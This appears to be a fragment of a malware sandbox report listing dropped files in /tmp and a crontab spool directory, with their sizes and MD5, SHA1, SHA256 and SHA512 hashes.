5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/var/spool/cron/crontabs/tmp.rU6Wik

Filesize
210B

MD5
72939e0deeae4fc4baa89b19c38d8542

SHA1
5ac2eec34293e47ebadb7f7aa56b281d8ea81c2d

SHA256
24857673a4dec9ccbb23d984ea7d717dbb88383a53d962090db03b318352469e

SHA512
5b15358b70c4693817633550af21c582f9fa7c592237f5b14931918524dec911dfe4f856cd94a9b003fee352b5c6a732faaa5e9e066e45454c4635bfea685d61

Download Submit